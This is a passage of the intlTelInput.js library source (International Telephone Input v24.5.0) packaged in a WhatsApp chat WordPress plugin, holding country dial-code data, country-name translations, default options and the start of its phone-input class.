click-to-chat-for-whatsapp/new/admin/admin_assets/intl/js/intlTelInput.js000064400000244514147510273110022520 0ustar00/*
 * International Telephone Input v24.5.0
 * https://github.com/jackocnr/intl-tel-input.git
 * Licensed under the MIT license
 */

// UMD
(function(factory) {
  if (typeof module === 'object' && module.exports) {
    module.exports = factory();
  } else {
    window.intlTelInput = factory();
  }
}(() => {

var factoryOutput = (() => {
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __export = (target, all) => {
    for (var name in all)
      __defProp(target, name, { get: all[name], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) => {
    if (from && typeof from === "object" || typeof from === "function") {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) && key !== except)
          __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

  // src/js/intl-tel-input.ts
  var intl_tel_input_exports = {};
  __export(intl_tel_input_exports, {
    Iti: () => Iti,
    default: () => intl_tel_input_default
  });

  // src/js/intl-tel-input/data.ts
  var rawCountryData = [
    [
      "af",
      // Afghanistan
      "93"
    ],
    [
      "ax",
      // Åland Islands
      "358",
      1,
      ["18"]
    ],
    [
      "al",
      // Albania
      "355"
    ],
    [
      "dz",
      // Algeria
      "213"
    ],
    [
      "as",
      // American Samoa
      "1",
      5,
      ["684"]
    ],
    [
      "ad",
      // Andorra
      "376"
    ],
    [
      "ao",
      // Angola
      "244"
    ],
    [
      "ai",
      // Anguilla
      "1",
      6,
      ["264"]
    ],
    [
      "ag",
      // Antigua and Barbuda
      "1",
      7,
      ["268"]
    ],
    [
      "ar",
      // Argentina
      "54"
    ],
    [
      "am",
      // Armenia
      "374"
    ],
    [
      "aw",
      // Aruba
      "297"
    ],
    [
      "ac",
      // Ascension Island
      "247"
    ],
    [
      "au",
      // Australia
      "61",
      0
    ],
    [
      "at",
      // Austria
      "43"
    ],
    [
      "az",
      // Azerbaijan
      "994"
    ],
    [
      "bs",
      // Bahamas
      "1",
      8,
      ["242"]
    ],
    [
      "bh",
      // Bahrain
      "973"
    ],
    [
      "bd",
      // Bangladesh
      "880"
    ],
    [
      "bb",
      // Barbados
      "1",
      9,
      ["246"]
    ],
    [
      "by",
      // Belarus
      "375"
    ],
    [
      "be",
      // Belgium
      "32"
    ],
    [
      "bz",
      // Belize
      "501"
    ],
    [
      "bj",
      // Benin
      "229"
    ],
    [
      "bm",
      // Bermuda
      "1",
      10,
      ["441"]
    ],
    [
      "bt",
      // Bhutan
      "975"
    ],
    [
      "bo",
      // Bolivia
      "591"
    ],
    [
      "ba",
      // Bosnia and Herzegovina
      "387"
    ],
    [
      "bw",
      // Botswana
      "267"
    ],
    [
      "br",
      // Brazil
      "55"
    ],
    [
      "io",
      // British Indian Ocean Territory
      "246"
    ],
    [
      "vg",
      // British Virgin Islands
      "1",
      11,
      ["284"]
    ],
    [
      "bn",
      // Brunei
      "673"
    ],
    [
      "bg",
      // Bulgaria
      "359"
    ],
    [
      "bf",
      // Burkina Faso
      "226"
    ],
    [
      "bi",
      // Burundi
      "257"
    ],
    [
      "kh",
      // Cambodia
      "855"
    ],
    [
      "cm",
      // Cameroon
      "237"
    ],
    [
      "ca",
      // Canada
      "1",
      1,
      ["204", "226", "236", "249", "250", "263", "289", "306", "343", "354", "365", "367", "368", "382", "387", "403", "416", "418", "428", "431", "437", "438", "450", "584", "468", "474", "506", "514", "519", "548", "579", "581", "584", "587", "604", "613", "639", "647", "672", "683", "705", "709", "742", "753", "778", "780", "782", "807", "819", "825", "867", "873", "879", "902", "905"]
    ],
    [
      "cv",
      // Cape Verde
      "238"
    ],
    [
      "bq",
      // Caribbean Netherlands
      "599",
      1,
      ["3", "4", "7"]
    ],
    [
      "ky",
      // Cayman Islands
      "1",
      12,
      ["345"]
    ],
    [
      "cf",
      // Central African Republic
      "236"
    ],
    [
      "td",
      // Chad
      "235"
    ],
    [
      "cl",
      // Chile
      "56"
    ],
    [
      "cn",
      // China
      "86"
    ],
    [
      "cx",
      // Christmas Island
      "61",
      2,
      ["89164"]
    ],
    [
      "cc",
      // Cocos (Keeling) Islands
      "61",
      1,
      ["89162"]
    ],
    [
      "co",
      // Colombia
      "57"
    ],
    [
      "km",
      // Comoros
      "269"
    ],
    [
      "cg",
      // Congo (Brazzaville)
      "242"
    ],
    [
      "cd",
      // Congo (Kinshasa)
      "243"
    ],
    [
      "ck",
      // Cook Islands
      "682"
    ],
    [
      "cr",
      // Costa Rica
      "506"
    ],
    [
      "ci",
      // Côte d'Ivoire
      "225"
    ],
    [
      "hr",
      // Croatia
      "385"
    ],
    [
      "cu",
      // Cuba
      "53"
    ],
    [
      "cw",
      // Curaçao
      "599",
      0
    ],
    [
      "cy",
      // Cyprus
      "357"
    ],
    [
      "cz",
      // Czech Republic
      "420"
    ],
    [
      "dk",
      // Denmark
      "45"
    ],
    [
      "dj",
      // Djibouti
      "253"
    ],
    [
      "dm",
      // Dominica
      "1",
      13,
      ["767"]
    ],
    [
      "do",
      // Dominican Republic
      "1",
      2,
      ["809", "829", "849"]
    ],
    [
      "ec",
      // Ecuador
      "593"
    ],
    [
      "eg",
      // Egypt
      "20"
    ],
    [
      "sv",
      // El Salvador
      "503"
    ],
    [
      "gq",
      // Equatorial Guinea
      "240"
    ],
    [
      "er",
      // Eritrea
      "291"
    ],
    [
      "ee",
      // Estonia
      "372"
    ],
    [
      "sz",
      // Eswatini
      "268"
    ],
    [
      "et",
      // Ethiopia
      "251"
    ],
    [
      "fk",
      // Falkland Islands (Malvinas)
      "500"
    ],
    [
      "fo",
      // Faroe Islands
      "298"
    ],
    [
      "fj",
      // Fiji
      "679"
    ],
    [
      "fi",
      // Finland
      "358",
      0
    ],
    [
      "fr",
      // France
      "33"
    ],
    [
      "gf",
      // French Guiana
      "594"
    ],
    [
      "pf",
      // French Polynesia
      "689"
    ],
    [
      "ga",
      // Gabon
      "241"
    ],
    [
      "gm",
      // Gambia
      "220"
    ],
    [
      "ge",
      // Georgia
      "995"
    ],
    [
      "de",
      // Germany
      "49"
    ],
    [
      "gh",
      // Ghana
      "233"
    ],
    [
      "gi",
      // Gibraltar
      "350"
    ],
    [
      "gr",
      // Greece
      "30"
    ],
    [
      "gl",
      // Greenland
      "299"
    ],
    [
      "gd",
      // Grenada
      "1",
      14,
      ["473"]
    ],
    [
      "gp",
      // Guadeloupe
      "590",
      0
    ],
    [
      "gu",
      // Guam
      "1",
      15,
      ["671"]
    ],
    [
      "gt",
      // Guatemala
      "502"
    ],
    [
      "gg",
      // Guernsey
      "44",
      1,
      ["1481", "7781", "7839", "7911"]
    ],
    [
      "gn",
      // Guinea
      "224"
    ],
    [
      "gw",
      // Guinea-Bissau
      "245"
    ],
    [
      "gy",
      // Guyana
      "592"
    ],
    [
      "ht",
      // Haiti
      "509"
    ],
    [
      "hn",
      // Honduras
      "504"
    ],
    [
      "hk",
      // Hong Kong SAR China
      "852"
    ],
    [
      "hu",
      // Hungary
      "36"
    ],
    [
      "is",
      // Iceland
      "354"
    ],
    [
      "in",
      // India
      "91"
    ],
    [
      "id",
      // Indonesia
      "62"
    ],
    [
      "ir",
      // Iran
      "98"
    ],
    [
      "iq",
      // Iraq
      "964"
    ],
    [
      "ie",
      // Ireland
      "353"
    ],
    [
      "im",
      // Isle of Man
      "44",
      2,
      ["1624", "74576", "7524", "7924", "7624"]
    ],
    [
      "il",
      // Israel
      "972"
    ],
    [
      "it",
      // Italy
      "39",
      0
    ],
    [
      "jm",
      // Jamaica
      "1",
      4,
      ["876", "658"]
    ],
    [
      "jp",
      // Japan
      "81"
    ],
    [
      "je",
      // Jersey
      "44",
      3,
      ["1534", "7509", "7700", "7797", "7829", "7937"]
    ],
    [
      "jo",
      // Jordan
      "962"
    ],
    [
      "kz",
      // Kazakhstan
      "7",
      1,
      ["33", "7"]
    ],
    [
      "ke",
      // Kenya
      "254"
    ],
    [
      "ki",
      // Kiribati
      "686"
    ],
    [
      "xk",
      // Kosovo
      "383"
    ],
    [
      "kw",
      // Kuwait
      "965"
    ],
    [
      "kg",
      // Kyrgyzstan
      "996"
    ],
    [
      "la",
      // Laos
      "856"
    ],
    [
      "lv",
      // Latvia
      "371"
    ],
    [
      "lb",
      // Lebanon
      "961"
    ],
    [
      "ls",
      // Lesotho
      "266"
    ],
    [
      "lr",
      // Liberia
      "231"
    ],
    [
      "ly",
      // Libya
      "218"
    ],
    [
      "li",
      // Liechtenstein
      "423"
    ],
    [
      "lt",
      // Lithuania
      "370"
    ],
    [
      "lu",
      // Luxembourg
      "352"
    ],
    [
      "mo",
      // Macao SAR China
      "853"
    ],
    [
      "mg",
      // Madagascar
      "261"
    ],
    [
      "mw",
      // Malawi
      "265"
    ],
    [
      "my",
      // Malaysia
      "60"
    ],
    [
      "mv",
      // Maldives
      "960"
    ],
    [
      "ml",
      // Mali
      "223"
    ],
    [
      "mt",
      // Malta
      "356"
    ],
    [
      "mh",
      // Marshall Islands
      "692"
    ],
    [
      "mq",
      // Martinique
      "596"
    ],
    [
      "mr",
      // Mauritania
      "222"
    ],
    [
      "mu",
      // Mauritius
      "230"
    ],
    [
      "yt",
      // Mayotte
      "262",
      1,
      ["269", "639"]
    ],
    [
      "mx",
      // Mexico
      "52"
    ],
    [
      "fm",
      // Micronesia
      "691"
    ],
    [
      "md",
      // Moldova
      "373"
    ],
    [
      "mc",
      // Monaco
      "377"
    ],
    [
      "mn",
      // Mongolia
      "976"
    ],
    [
      "me",
      // Montenegro
      "382"
    ],
    [
      "ms",
      // Montserrat
      "1",
      16,
      ["664"]
    ],
    [
      "ma",
      // Morocco
      "212",
      0
    ],
    [
      "mz",
      // Mozambique
      "258"
    ],
    [
      "mm",
      // Myanmar (Burma)
      "95"
    ],
    [
      "na",
      // Namibia
      "264"
    ],
    [
      "nr",
      // Nauru
      "674"
    ],
    [
      "np",
      // Nepal
      "977"
    ],
    [
      "nl",
      // Netherlands
      "31"
    ],
    [
      "nc",
      // New Caledonia
      "687"
    ],
    [
      "nz",
      // New Zealand
      "64"
    ],
    [
      "ni",
      // Nicaragua
      "505"
    ],
    [
      "ne",
      // Niger
      "227"
    ],
    [
      "ng",
      // Nigeria
      "234"
    ],
    [
      "nu",
      // Niue
      "683"
    ],
    [
      "nf",
      // Norfolk Island
      "672"
    ],
    [
      "kp",
      // North Korea
      "850"
    ],
    [
      "mk",
      // North Macedonia
      "389"
    ],
    [
      "mp",
      // Northern Mariana Islands
      "1",
      17,
      ["670"]
    ],
    [
      "no",
      // Norway
      "47",
      0
    ],
    [
      "om",
      // Oman
      "968"
    ],
    [
      "pk",
      // Pakistan
      "92"
    ],
    [
      "pw",
      // Palau
      "680"
    ],
    [
      "ps",
      // Palestinian Territories
      "970"
    ],
    [
      "pa",
      // Panama
      "507"
    ],
    [
      "pg",
      // Papua New Guinea
      "675"
    ],
    [
      "py",
      // Paraguay
      "595"
    ],
    [
      "pe",
      // Peru
      "51"
    ],
    [
      "ph",
      // Philippines
      "63"
    ],
    [
      "pl",
      // Poland
      "48"
    ],
    [
      "pt",
      // Portugal
      "351"
    ],
    [
      "pr",
      // Puerto Rico
      "1",
      3,
      ["787", "939"]
    ],
    [
      "qa",
      // Qatar
      "974"
    ],
    [
      "re",
      // Réunion
      "262",
      0
    ],
    [
      "ro",
      // Romania
      "40"
    ],
    [
      "ru",
      // Russia
      "7",
      0
    ],
    [
      "rw",
      // Rwanda
      "250"
    ],
    [
      "ws",
      // Samoa
      "685"
    ],
    [
      "sm",
      // San Marino
      "378"
    ],
    [
      "st",
      // São Tomé & Príncipe
      "239"
    ],
    [
      "sa",
      // Saudi Arabia
      "966"
    ],
    [
      "sn",
      // Senegal
      "221"
    ],
    [
      "rs",
      // Serbia
      "381"
    ],
    [
      "sc",
      // Seychelles
      "248"
    ],
    [
      "sl",
      // Sierra Leone
      "232"
    ],
    [
      "sg",
      // Singapore
      "65"
    ],
    [
      "sx",
      // Sint Maarten
      "1",
      21,
      ["721"]
    ],
    [
      "sk",
      // Slovakia
      "421"
    ],
    [
      "si",
      // Slovenia
      "386"
    ],
    [
      "sb",
      // Solomon Islands
      "677"
    ],
    [
      "so",
      // Somalia
      "252"
    ],
    [
      "za",
      // South Africa
      "27"
    ],
    [
      "kr",
      // South Korea
      "82"
    ],
    [
      "ss",
      // South Sudan
      "211"
    ],
    [
      "es",
      // Spain
      "34"
    ],
    [
      "lk",
      // Sri Lanka
      "94"
    ],
    [
      "bl",
      // St. Barthélemy
      "590",
      1
    ],
    [
      "sh",
      // St. Helena
      "290"
    ],
    [
      "kn",
      // St. Kitts & Nevis
      "1",
      18,
      ["869"]
    ],
    [
      "lc",
      // St. Lucia
      "1",
      19,
      ["758"]
    ],
    [
      "mf",
      // St. Martin
      "590",
      2
    ],
    [
      "pm",
      // St. Pierre & Miquelon
      "508"
    ],
    [
      "vc",
      // St. Vincent & Grenadines
      "1",
      20,
      ["784"]
    ],
    [
      "sd",
      // Sudan
      "249"
    ],
    [
      "sr",
      // Suriname
      "597"
    ],
    [
      "sj",
      // Svalbard & Jan Mayen
      "47",
      1,
      ["79"]
    ],
    [
      "se",
      // Sweden
      "46"
    ],
    [
      "ch",
      // Switzerland
      "41"
    ],
    [
      "sy",
      // Syria
      "963"
    ],
    [
      "tw",
      // Taiwan
      "886"
    ],
    [
      "tj",
      // Tajikistan
      "992"
    ],
    [
      "tz",
      // Tanzania
      "255"
    ],
    [
      "th",
      // Thailand
      "66"
    ],
    [
      "tl",
      // Timor-Leste
      "670"
    ],
    [
      "tg",
      // Togo
      "228"
    ],
    [
      "tk",
      // Tokelau
      "690"
    ],
    [
      "to",
      // Tonga
      "676"
    ],
    [
      "tt",
      // Trinidad & Tobago
      "1",
      22,
      ["868"]
    ],
    [
      "tn",
      // Tunisia
      "216"
    ],
    [
      "tr",
      // Turkey
      "90"
    ],
    [
      "tm",
      // Turkmenistan
      "993"
    ],
    [
      "tc",
      // Turks & Caicos Islands
      "1",
      23,
      ["649"]
    ],
    [
      "tv",
      // Tuvalu
      "688"
    ],
    [
      "ug",
      // Uganda
      "256"
    ],
    [
      "ua",
      // Ukraine
      "380"
    ],
    [
      "ae",
      // United Arab Emirates
      "971"
    ],
    [
      "gb",
      // United Kingdom
      "44",
      0
    ],
    [
      "us",
      // United States
      "1",
      0
    ],
    [
      "uy",
      // Uruguay
      "598"
    ],
    [
      "vi",
      // U.S. Virgin Islands
      "1",
      24,
      ["340"]
    ],
    [
      "uz",
      // Uzbekistan
      "998"
    ],
    [
      "vu",
      // Vanuatu
      "678"
    ],
    [
      "va",
      // Vatican City
      "39",
      1,
      ["06698"]
    ],
    [
      "ve",
      // Venezuela
      "58"
    ],
    [
      "vn",
      // Vietnam
      "84"
    ],
    [
      "wf",
      // Wallis & Futuna
      "681"
    ],
    [
      "eh",
      // Western Sahara
      "212",
      1,
      ["5288", "5289"]
    ],
    [
      "ye",
      // Yemen
      "967"
    ],
    [
      "zm",
      // Zambia
      "260"
    ],
    [
      "zw",
      // Zimbabwe
      "263"
    ]
  ];
  var allCountries = [];
  for (let i = 0; i < rawCountryData.length; i++) {
    const c = rawCountryData[i];
    allCountries[i] = {
      name: "",
      // this is now populated in the plugin
      iso2: c[0],
      dialCode: c[1],
      priority: c[2] || 0,
      areaCodes: c[3] || null,
      nodeById: {}
    };
  }
  var data_default = allCountries;

  // src/js/intl-tel-input/i18n/en/countries.ts
  var countryTranslations = {
    ad: "Andorra",
    ae: "United Arab Emirates",
    af: "Afghanistan",
    ag: "Antigua & Barbuda",
    ai: "Anguilla",
    al: "Albania",
    am: "Armenia",
    ao: "Angola",
    ar: "Argentina",
    as: "American Samoa",
    at: "Austria",
    au: "Australia",
    aw: "Aruba",
    ax: "\xC5land Islands",
    az: "Azerbaijan",
    ba: "Bosnia & Herzegovina",
    bb: "Barbados",
    bd: "Bangladesh",
    be: "Belgium",
    bf: "Burkina Faso",
    bg: "Bulgaria",
    bh: "Bahrain",
    bi: "Burundi",
    bj: "Benin",
    bl: "St. Barth\xE9lemy",
    bm: "Bermuda",
    bn: "Brunei",
    bo: "Bolivia",
    bq: "Caribbean Netherlands",
    br: "Brazil",
    bs: "Bahamas",
    bt: "Bhutan",
    bw: "Botswana",
    by: "Belarus",
    bz: "Belize",
    ca: "Canada",
    cc: "Cocos (Keeling) Islands",
    cd: "Congo - Kinshasa",
    cf: "Central African Republic",
    cg: "Congo - Brazzaville",
    ch: "Switzerland",
    ci: "C\xF4te d\u2019Ivoire",
    ck: "Cook Islands",
    cl: "Chile",
    cm: "Cameroon",
    cn: "China",
    co: "Colombia",
    cr: "Costa Rica",
    cu: "Cuba",
    cv: "Cape Verde",
    cw: "Cura\xE7ao",
    cx: "Christmas Island",
    cy: "Cyprus",
    cz: "Czechia",
    de: "Germany",
    dj: "Djibouti",
    dk: "Denmark",
    dm: "Dominica",
    do: "Dominican Republic",
    dz: "Algeria",
    ec: "Ecuador",
    ee: "Estonia",
    eg: "Egypt",
    eh: "Western Sahara",
    er: "Eritrea",
    es: "Spain",
    et: "Ethiopia",
    fi: "Finland",
    fj: "Fiji",
    fk: "Falkland Islands",
    fm: "Micronesia",
    fo: "Faroe Islands",
    fr: "France",
    ga: "Gabon",
    gb: "United Kingdom",
    gd: "Grenada",
    ge: "Georgia",
    gf: "French Guiana",
    gg: "Guernsey",
    gh: "Ghana",
    gi: "Gibraltar",
    gl: "Greenland",
    gm: "Gambia",
    gn: "Guinea",
    gp: "Guadeloupe",
    gq: "Equatorial Guinea",
    gr: "Greece",
    gt: "Guatemala",
    gu: "Guam",
    gw: "Guinea-Bissau",
    gy: "Guyana",
    hk: "Hong Kong SAR China",
    hn: "Honduras",
    hr: "Croatia",
    ht: "Haiti",
    hu: "Hungary",
    id: "Indonesia",
    ie: "Ireland",
    il: "Israel",
    im: "Isle of Man",
    in: "India",
    io: "British Indian Ocean Territory",
    iq: "Iraq",
    ir: "Iran",
    is: "Iceland",
    it: "Italy",
    je: "Jersey",
    jm: "Jamaica",
    jo: "Jordan",
    jp: "Japan",
    ke: "Kenya",
    kg: "Kyrgyzstan",
    kh: "Cambodia",
    ki: "Kiribati",
    km: "Comoros",
    kn: "St. Kitts & Nevis",
    kp: "North Korea",
    kr: "South Korea",
    kw: "Kuwait",
    ky: "Cayman Islands",
    kz: "Kazakhstan",
    la: "Laos",
    lb: "Lebanon",
    lc: "St. Lucia",
    li: "Liechtenstein",
    lk: "Sri Lanka",
    lr: "Liberia",
    ls: "Lesotho",
    lt: "Lithuania",
    lu: "Luxembourg",
    lv: "Latvia",
    ly: "Libya",
    ma: "Morocco",
    mc: "Monaco",
    md: "Moldova",
    me: "Montenegro",
    mf: "St. Martin",
    mg: "Madagascar",
    mh: "Marshall Islands",
    mk: "North Macedonia",
    ml: "Mali",
    mm: "Myanmar (Burma)",
    mn: "Mongolia",
    mo: "Macao SAR China",
    mp: "Northern Mariana Islands",
    mq: "Martinique",
    mr: "Mauritania",
    ms: "Montserrat",
    mt: "Malta",
    mu: "Mauritius",
    mv: "Maldives",
    mw: "Malawi",
    mx: "Mexico",
    my: "Malaysia",
    mz: "Mozambique",
    na: "Namibia",
    nc: "New Caledonia",
    ne: "Niger",
    nf: "Norfolk Island",
    ng: "Nigeria",
    ni: "Nicaragua",
    nl: "Netherlands",
    no: "Norway",
    np: "Nepal",
    nr: "Nauru",
    nu: "Niue",
    nz: "New Zealand",
    om: "Oman",
    pa: "Panama",
    pe: "Peru",
    pf: "French Polynesia",
    pg: "Papua New Guinea",
    ph: "Philippines",
    pk: "Pakistan",
    pl: "Poland",
    pm: "St. Pierre & Miquelon",
    pr: "Puerto Rico",
    ps: "Palestinian Territories",
    pt: "Portugal",
    pw: "Palau",
    py: "Paraguay",
    qa: "Qatar",
    re: "R\xE9union",
    ro: "Romania",
    rs: "Serbia",
    ru: "Russia",
    rw: "Rwanda",
    sa: "Saudi Arabia",
    sb: "Solomon Islands",
    sc: "Seychelles",
    sd: "Sudan",
    se: "Sweden",
    sg: "Singapore",
    sh: "St. Helena",
    si: "Slovenia",
    sj: "Svalbard & Jan Mayen",
    sk: "Slovakia",
    sl: "Sierra Leone",
    sm: "San Marino",
    sn: "Senegal",
    so: "Somalia",
    sr: "Suriname",
    ss: "South Sudan",
    st: "S\xE3o Tom\xE9 & Pr\xEDncipe",
    sv: "El Salvador",
    sx: "Sint Maarten",
    sy: "Syria",
    sz: "Eswatini",
    tc: "Turks & Caicos Islands",
    td: "Chad",
    tg: "Togo",
    th: "Thailand",
    tj: "Tajikistan",
    tk: "Tokelau",
    tl: "Timor-Leste",
    tm: "Turkmenistan",
    tn: "Tunisia",
    to: "Tonga",
    tr: "Turkey",
    tt: "Trinidad & Tobago",
    tv: "Tuvalu",
    tw: "Taiwan",
    tz: "Tanzania",
    ua: "Ukraine",
    ug: "Uganda",
    us: "United States",
    uy: "Uruguay",
    uz: "Uzbekistan",
    va: "Vatican City",
    vc: "St. Vincent & Grenadines",
    ve: "Venezuela",
    vg: "British Virgin Islands",
    vi: "U.S. Virgin Islands",
    vn: "Vietnam",
    vu: "Vanuatu",
    wf: "Wallis & Futuna",
    ws: "Samoa",
    ye: "Yemen",
    yt: "Mayotte",
    za: "South Africa",
    zm: "Zambia",
    zw: "Zimbabwe"
  };
  var countries_default = countryTranslations;

  // src/js/intl-tel-input/i18n/en/interface.ts
  var interfaceTranslations = {
    selectedCountryAriaLabel: "Selected country",
    noCountrySelected: "No country selected",
    countryListAriaLabel: "List of countries",
    searchPlaceholder: "Search",
    zeroSearchResults: "No results found",
    oneSearchResult: "1 result found",
    multipleSearchResults: "${count} results found",
    // additional countries (not supported by country-list library)
    ac: "Ascension Island",
    xk: "Kosovo"
  };
  var interface_default = interfaceTranslations;

  // src/js/intl-tel-input/i18n/en/index.ts
  var allTranslations = { ...countries_default, ...interface_default };
  var en_default = allTranslations;

  // src/js/intl-tel-input.ts
  for (let i = 0; i < data_default.length; i++) {
    data_default[i].name = en_default[data_default[i].iso2];
  }
  var id = 0;
  var defaults = {
    //* Whether or not to allow the dropdown.
    allowDropdown: true,
    //* Add a placeholder in the input with an example number for the selected country.
    autoPlaceholder: "polite",
    //* Modify the parentClass.
    containerClass: "",
    //* The order of the countries in the dropdown. Defaults to alphabetical.
    countryOrder: null,
    //* Add a country search input at the top of the dropdown.
    countrySearch: true,
    //* Modify the auto placeholder.
    customPlaceholder: null,
    //* Append menu to specified element.
    dropdownContainer: null,
    //* Don't display these countries.
    excludeCountries: [],
    //* Fix the dropdown width to the input width (rather than being as wide as the longest country name).
    fixDropdownWidth: true,
    //* Format the number as the user types
    formatAsYouType: true,
    //* Format the input value during initialisation and on setNumber.
    formatOnDisplay: true,
    //* geoIp lookup function.
    geoIpLookup: null,
    //* Inject a hidden input with the name returned from this function, and on submit, populate it with the result of getNumber.
    hiddenInput: null,
    //* Internationalise the plugin text e.g. search input placeholder, country names.
    i18n: {},
    //* Initial country.
    initialCountry: "",
    //* National vs international formatting for numbers e.g. placeholders and displaying existing numbers.
    nationalMode: true,
    //* Display only these countries.
    onlyCountries: [],
    //* Number type to use for placeholders.
    placeholderNumberType: "MOBILE",
    //* Show flags - for both the selected country, and in the country dropdown
    showFlags: true,
    //* Display the international dial code next to the selected flag.
    separateDialCode: false,
    //* Only allow certain chars e.g. a plus followed by numeric digits, and cap at max valid length.
    strictMode: false,
    //* Use full screen popup instead of dropdown for country list.
    useFullscreenPopup: typeof navigator !== "undefined" && typeof window !== "undefined" ? (
      //* We cannot just test screen size as some smartphones/website meta tags will report desktop resolutions.
      //* Note: to target Android Mobiles (and not Tablets), we must find 'Android' and 'Mobile'
      /Android.+Mobile|webOS|iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(
        navigator.userAgent
      ) || window.innerWidth <= 500
    ) : false,
    //* Specify the path to the libphonenumber script to enable validation/formatting.
    utilsScript: "",
    //* The number type to enforce during validation.
    validationNumberType: "MOBILE"
  };
  var regionlessNanpNumbers = [
    "800",
    "822",
    "833",
    "844",
    "855",
    "866",
    "877",
    "880",
    "881",
    "882",
    "883",
    "884",
    "885",
    "886",
    "887",
    "888",
    "889"
  ];
  var getNumeric = (s) => s.replace(/\D/g, "");
  var normaliseString = (s = "") => s.normalize("NFD").replace(/[\u0300-\u036f]/g, "").toLowerCase();
  var isRegionlessNanp = (number) => {
    const numeric = getNumeric(number);
    if (numeric.charAt(0) === "1") {
      const areaCode = numeric.substr(1, 3);
      return regionlessNanpNumbers.indexOf(areaCode) !== -1;
    }
    return false;
  };
  var translateCursorPosition = (relevantChars, formattedValue, prevCaretPos, isDeleteForwards) => {
    if (prevCaretPos === 0 && !isDeleteForwards) {
      return 0;
    }
    let count = 0;
    for (let i = 0; i < formattedValue.length; i++) {
      if (/[+0-9]/.test(formattedValue[i])) {
        count++;
      }
      if (count === relevantChars && !isDeleteForwards) {
        return i + 1;
      }
      if (isDeleteForwards && count === relevantChars + 1) {
        return i;
      }
    }
    return formattedValue.length;
  };
  var createEl = (name, attrs, container) => {
    const el = document.createElement(name);
    if (attrs) {
      Object.entries(attrs).forEach(([key, value]) => el.setAttribute(key, value));
    }
    if (container) {
      container.appendChild(el);
    }
    return el;
  };
  var forEachInstance = (method) => {
    const { instances } = intlTelInput;
    Object.values(instances).forEach((instance) => instance[method]());
  };
  var Iti = class {
    constructor(input, customOptions = {}) {
      this.id = id++;
      this.telInput = input;
      this.highlightedItem = null;
      this.options = Object.assign({}, defaults, customOptions);
      this.hadInitialPlaceholder = Boolean(input.getAttribute("placeholder"));
    }
    //* Can't be private as it's called from intlTelInput convenience wrapper.
    _init() {
      if (this.options.useFullscreenPopup) {
        this.options.fixDropdownWidth = false;
      }
      if (this.options.onlyCountries.length === 1) {
        this.options.initialCountry = this.options.onlyCountries[0];
      }
      if (this.options.separateDialCode) {
        this.options.nationalMode = false;
      }
      if (this.options.allowDropdown && !this.options.showFlags && !this.options.separateDialCode) {
        this.options.nationalMode = false;
      }
      if (this.options.useFullscreenPopup && !this.options.dropdownContainer) {
        this.options.dropdownContainer = document.body;
      }
      this.isAndroid = typeof navigator !== "undefined" ? /Android/i.test(navigator.userAgent) : false;
      this.isRTL = !!this.telInput.closest("[dir=rtl]");
      const showOnDefaultSide = this.options.allowDropdown || this.options.separateDialCode;
      this.showSelectedCountryOnLeft = this.isRTL ? !showOnDefaultSide : showOnDefaultSide;
      if (this.options.separateDialCode) {
        if (this.isRTL) {
          this.originalPaddingRight = this.telInput.style.paddingRight;
        } else {
          this.originalPaddingLeft = this.telInput.style.paddingLeft;
        }
      }
      this.options.i18n = { ...en_default, ...this.options.i18n };
      const autoCountryPromise = new Promise((resolve, reject) => {
        this.resolveAutoCountryPromise = resolve;
        this.rejectAutoCountryPromise = reject;
      });
      const utilsScriptPromise = new Promise((resolve, reject) => {
        this.resolveUtilsScriptPromise = resolve;
        this.rejectUtilsScriptPromise = reject;
      });
      this.promise = Promise.all([autoCountryPromise, utilsScriptPromise]);
      this.selectedCountryData = {};
      this._processCountryData();
      this._generateMarkup();
      this._setInitialState();
      this._initListeners();
      this._initRequests();
    }
    //********************
    //*  PRIVATE METHODS
    //********************
    //* Prepare all of the country data, including onlyCountries, excludeCountries, countryOrder options.
    _processCountryData() {
      this._processAllCountries();
      this._processDialCodes();
      this._translateCountryNames();
      this._sortCountries();
    }
    //* Sort countries by countryOrder option (if present), then name.
    _sortCountries() {
      if (this.options.countryOrder) {
        this.options.countryOrder = this.options.countryOrder.map((country) => country.toLowerCase());
      }
      this.countries.sort((a, b) => {
        const { countryOrder } = this.options;
        if (countryOrder) {
          const aIndex = countryOrder.indexOf(a.iso2);
          const bIndex = countryOrder.indexOf(b.iso2);
          const aIndexExists = aIndex > -1;
          const bIndexExists = bIndex > -1;
          if (aIndexExists || bIndexExists) {
            if (aIndexExists && bIndexExists) {
              return aIndex - bIndex;
            }
            return aIndexExists ? -1 : 1;
          }
        }
        return a.name.localeCompare(b.name);
      });
    }
    //* Add a dial code to this.dialCodeToIso2Map.
    _addToDialCodeMap(iso2, dialCode, priority) {
      if (dialCode.length > this.dialCodeMaxLen) {
        this.dialCodeMaxLen = dialCode.length;
      }
      if (!this.dialCodeToIso2Map.hasOwnProperty(dialCode)) {
        this.dialCodeToIso2Map[dialCode] = [];
      }
      for (let i = 0; i < this.dialCodeToIso2Map[dialCode].length; i++) {
        if (this.dialCodeToIso2Map[dialCode][i] === iso2) {
          return;
        }
      }
      const index = priority !== void 0 ? priority : this.dialCodeToIso2Map[dialCode].length;
      this.dialCodeToIso2Map[dialCode][index] = iso2;
    }
    //* Process onlyCountries or excludeCountries array if present.
    _processAllCountries() {
      const { onlyCountries, excludeCountries } = this.options;
      if (onlyCountries.length) {
        const lowerCaseOnlyCountries = onlyCountries.map(
          (country) => country.toLowerCase()
        );
        this.countries = data_default.filter(
          (country) => lowerCaseOnlyCountries.indexOf(country.iso2) > -1
        );
      } else if (excludeCountries.length) {
        const lowerCaseExcludeCountries = excludeCountries.map(
          (country) => country.toLowerCase()
        );
        this.countries = data_default.filter(
          (country) => lowerCaseExcludeCountries.indexOf(country.iso2) === -1
        );
      } else {
        this.countries = data_default;
      }
    }
    //* Translate Countries by object literal provided on config.
    _translateCountryNames() {
      for (let i = 0; i < this.countries.length; i++) {
        const iso2 = this.countries[i].iso2.toLowerCase();
        if (this.options.i18n.hasOwnProperty(iso2)) {
          this.countries[i].name = this.options.i18n[iso2];
        }
      }
    }
    //* Generate this.dialCodes and this.dialCodeToIso2Map.
